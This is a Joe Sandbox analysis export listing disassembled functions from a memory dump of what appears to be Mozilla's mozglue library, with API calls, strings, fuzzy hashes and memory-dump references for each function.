Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 47ec956aeddc490989a23df5149a22e74efc606a1907d8aff3eafbdc868c68d8
Instruction ID: 7168aa2686c0cba7b92533a464730bcc5750677fe1b0142aa9628746f732c154
Opcode Fuzzy Hash: 47ec956aeddc490989a23df5149a22e74efc606a1907d8aff3eafbdc868c68d8
Instruction Fuzzy Hash: 11E0B67464D741DBEF007FB6CD08B167BF8F74625EF00D51AAA589B609EBB4C4108B51

Function 6CB275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB2748B,?), ref: 6CB275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB275D7
FreeLibrary.KERNEL32(?,6CB2748B,?), ref: 6CB275EC

Strings

RtlNtStatusToDosError, xrefs: 6CB275D1
ntdll.dll, xrefs: 6CB275B3

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: e444d5183426f79de90b0f457cd1f776304dd15529c81c81f765505453eb1766
Instruction ID: eba4db848cc5769fb70fec03b492b01aa659feed6ffd7d22600d47d20a709cb1
Opcode Fuzzy Hash: e444d5183426f79de90b0f457cd1f776304dd15529c81c81f765505453eb1766
Instruction Fuzzy Hash: 9CE0EE7538C341ABEB007BA6C848B05BBF8FB5221CF00C429AA0493608EAB88411CF01

Function 6CB27600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB27592), ref: 6CB27608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB27627
FreeLibrary.KERNEL32(?,6CB27592), ref: 6CB2763C

Strings

NtUnmapViewOfSection, xrefs: 6CB27621
ntdll.dll, xrefs: 6CB27603

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 3105f0681bdd5b2c967236c23bc9a679b48f55413f7e11a7cde4e8038e901add
Instruction ID: 325b94bee286d4f84ea508a6db00d999a1072ff8ff316a56158fcf34694fee22
Opcode Fuzzy Hash: 3105f0681bdd5b2c967236c23bc9a679b48f55413f7e11a7cde4e8038e901add
Instruction Fuzzy Hash: 2FE01A7824C7409BDF007FAAC808B057FB8F76A25CF10C415EA04D3608D7B880008F19

Function 6CB2BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CB2BE49), ref: 6CB2BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CB2BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CB2BE49), ref: 6CB2BF38
RtlReAllocateHeap.NTDLL ref: 6CB2BF83
RtlFreeHeap.NTDLL ref: 6CB2BFA6

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 530901aa9b989044b7400f3a33a14e9f2e73bb42742c3c59b829156436b8072c
Instruction ID: d3b7d0d29b34cc47443f0ee2607ecae1906dc1119eadc97991966e783b1e0494
Opcode Fuzzy Hash: 530901aa9b989044b7400f3a33a14e9f2e73bb42742c3c59b829156436b8072c
Instruction Fuzzy Hash: FB51A771A002558FEB24CF68CD80B6AB3B2FF88314F294639D51A97B54DB34F9068B81

Function 6CB18E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?,6CB3D734), ref: 6CB18E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?,6CB3D734), ref: 6CB18EBF
free.MOZGLUE(?,?,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?), ref: 6CB18F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?,6CB3D734), ref: 6CB18F46
free.MOZGLUE(?,?,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?), ref: 6CB18F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?), ref: 6CB18F8F

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dbe97905c64412ba7d686606939c13c815a4cccba5d046cfa84dc177235d51c1
Instruction ID: f0b92b3451f61767e3e55960510869a03360ad9d2561bcc4619000641b698282
Opcode Fuzzy Hash: dbe97905c64412ba7d686606939c13c815a4cccba5d046cfa84dc177235d51c1
Instruction Fuzzy Hash: A251B7B1A052558FEF14CF54D88076E73B6FF45318F26092AD916ABB40E732F905CB92

Function 6CAD60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD6180
free.MOZGLUE(?,?,?,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD6229
free.MOZGLUE(?,?,?,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD6271

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 88391dc334f8127d2ecffa1310499c50b657f1c2a77ee34726ea4584b6e699c8
Instruction ID: b229a96c5d861641c250cd5f11e394d8df5244ac900e8d2c2e16b8c1f4ec4443
Opcode Fuzzy Hash: 88391dc334f8127d2ecffa1310499c50b657f1c2a77ee34726ea4584b6e699c8
Instruction Fuzzy Hash: 8B518CB1A042068FEB14CF68D8807AEB7B5FF49308F264839D516D7711E731B998CB61

Function 6CB127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB1284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB1289A
free.MOZGLUE(?,?,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB12910
free.MOZGLUE(00000001,?,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB1293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CB12620,?,?,?,6CB060AA,6CB05FCB,6CB079A3), ref: 6CB1294E

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d8b8250902d49010baa431bca8d3b7bb29516b1b2ee0625100043827f3683caa
Instruction ID: 41eb7edd8a99f68a5da2bdfcf7cd78b4bcec2a922c1e54d2312ddb87385fd947
Opcode Fuzzy Hash: d8b8250902d49010baa431bca8d3b7bb29516b1b2ee0625100043827f3683caa
Instruction Fuzzy Hash: 8741AFB1A082468FEB14CF68D88476A73F6FF46748F244939D556EBB40E731E904CB92

Function 6CACCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CACCFF6
LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CACD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CACD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CACD139

Strings

MOZ_CRASH(), xrefs: 6CACD187

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 12febf4634da12c3fcbc7d466b29442bb26c3cf00fe5f0d81f2382a5ce5cf074
Instruction ID: 25050d2bf3cc864bfea73095d9faeaa5805ebc17b41fddd6145b854f49fea74c
Opcode Fuzzy Hash: 12febf4634da12c3fcbc7d466b29442bb26c3cf00fe5f0d81f2382a5ce5cf074
Instruction Fuzzy Hash: 4041DF72F882124FDB04DE7C8C9036EB6B0FB59328F154139EA19E7788D7A19C418BC1

Function 6CAC4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAC4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAC4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAC4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAC4F1E

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 24a63b5fea7f846ac912d1e20f755e6e9b21953afda1227bd7a246d4f5419f81
Instruction ID: 1d14f9e959f0c3a59b9c00b30ba4775f542c886a116c8300ef022b22d9fd162b
Opcode Fuzzy Hash: 24a63b5fea7f846ac912d1e20f755e6e9b21953afda1227bd7a246d4f5419f81
Instruction Fuzzy Hash: 1841E0716087059FC701CF29C4809ABBBF4BF89344F148A2DF4A687741DB30E998CB96

Function 6CB2A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4F770), ref: 6CB2A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2A87B

Part of subcall function 6CB2A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CB2A88F,00000000), ref: 6CB2A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CB2A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2A90C
LeaveCriticalSection.KERNEL32(6CB4F770), ref: 6CB2A97E

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: a28f45f72f68fd8dfd7c861a626ef3d8e6682129c0846357958ca77d68ac1ca4
Instruction ID: c819be9ac0b773ae543b832cff0025eff26aa821165ef84d9747c0da2dee6c49
Opcode Fuzzy Hash: a28f45f72f68fd8dfd7c861a626ef3d8e6682129c0846357958ca77d68ac1ca4
Instruction Fuzzy Hash: AC41A1B0E002849BDB00DFE4D845AEEB770FF04324F148629E82AAB781D735A945DF91

Function 6CAD1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD15E7
free.MOZGLUE(?,?,?,?,?,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAD152B,?,?,?,?,6CAD1248,?), ref: 6CAD1637

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 61b7610f2f5ce5fe1a6e45987acc7a81b61b516b24b9cd1c10445664d4ce2970
Instruction ID: 5d8e384758f896d1c09da016da06e1af52b2c786dad70440e32f0ec6ac3556f1
Opcode Fuzzy Hash: 61b7610f2f5ce5fe1a6e45987acc7a81b61b516b24b9cd1c10445664d4ce2970
Instruction Fuzzy Hash: EA31EA71A001148BC7148E7CD9504BE77E5BB8537472A0B6DE527DBBD4EB30F9848791

Function 6CB2AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2AD9D

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB3E330,?,6CAEC059), ref: 6CB2AE3D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b2daacdf5b4e0d0049d62194b7f5636d2c5d1cc6734199c6b04a4fcf691ca726
Instruction ID: fdd8ae56094df78d791fc55fad12ba631746bff714471276c174ec19fd80b5e3
Opcode Fuzzy Hash: b2daacdf5b4e0d0049d62194b7f5636d2c5d1cc6734199c6b04a4fcf691ca726
Instruction Fuzzy Hash: F53141B1A006659FDB10EF758D44ABFB7F8EF48614F158829E85AE7700E734A805CBA1

Function 6CB25EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB3DCA0,?,?,?,6CAFE8B5,00000000), ref: 6CB25F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAFE8B5,00000000), ref: 6CB25F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CAFE8B5,00000000), ref: 6CB25F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CAFE8B5,00000000), ref: 6CB25F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CAFE8B5,00000000), ref: 6CB25FD6

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4ee2e5cd200b3e129694d0c8e9354a19344c43750edd2432d47f5497e2aa43ea
Instruction ID: 60847081fe4429a6cbf756eabffa98d5d6f352cfd5e4221c63ba158395ae2a72
Opcode Fuzzy Hash: 4ee2e5cd200b3e129694d0c8e9354a19344c43750edd2432d47f5497e2aa43ea
Instruction Fuzzy Hash: FF3121343006408FDB20DF29C498E2AB7F9FF89319BA48558F55A87B99C735EC45CB85

Function 6CACB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CACB532
moz_xmalloc.MOZGLUE(?), ref: 6CACB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CACB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CACB57E
free.MOZGLUE(00000000), ref: 6CACB58F

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ae28887b4ebdef48da0d0410e2d77cb73db740a1824c5e081586ba6cff0109b8
Instruction ID: 2546d1562a6fbae7c79102d7048478136e712711a5b073e14cdd0249228bf846
Opcode Fuzzy Hash: ae28887b4ebdef48da0d0410e2d77cb73db740a1824c5e081586ba6cff0109b8
Instruction Fuzzy Hash: 95210771B402099BDB009F68DC40BAEBBB9FF85308F284129E919DB341E736D955CBA1

Function 6CACB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CACB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CACB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CACB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CACB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CACB849

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 271d15376005e457c89ec15661d592576dac72ac2e27cfbebe8929ce7a80ca0b
Instruction ID: 2357739cd5ef7c009ff43b39cfc340fb633fddfdb20c77148fae49e78861c33e
Opcode Fuzzy Hash: 271d15376005e457c89ec15661d592576dac72ac2e27cfbebe8929ce7a80ca0b
Instruction Fuzzy Hash: 7F2121B4E002199FDF04DFA9D8855BEBBB8EF49718F148129EC15A7341D731A984CBA1

Function 6CB26E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB26E78

Part of subcall function 6CB26A10: InitializeCriticalSection.KERNEL32(6CB4F618), ref: 6CB26A68
Part of subcall function 6CB26A10: GetCurrentProcess.KERNEL32 ref: 6CB26A7D
Part of subcall function 6CB26A10: GetCurrentProcess.KERNEL32 ref: 6CB26AA1
Part of subcall function 6CB26A10: EnterCriticalSection.KERNEL32(6CB4F618), ref: 6CB26AAE
Part of subcall function 6CB26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB26AE1
Part of subcall function 6CB26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB26B15
Part of subcall function 6CB26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CB26B65
Part of subcall function 6CB26A10: LeaveCriticalSection.KERNEL32(6CB4F618,?,?), ref: 6CB26B83

MozFormatCodeAddress.MOZGLUE ref: 6CB26EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB26EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB26EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CB26EFF

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 80255427873d54a98aaa6507febd8ebd6d442033e722cabeddd4d61afd864880
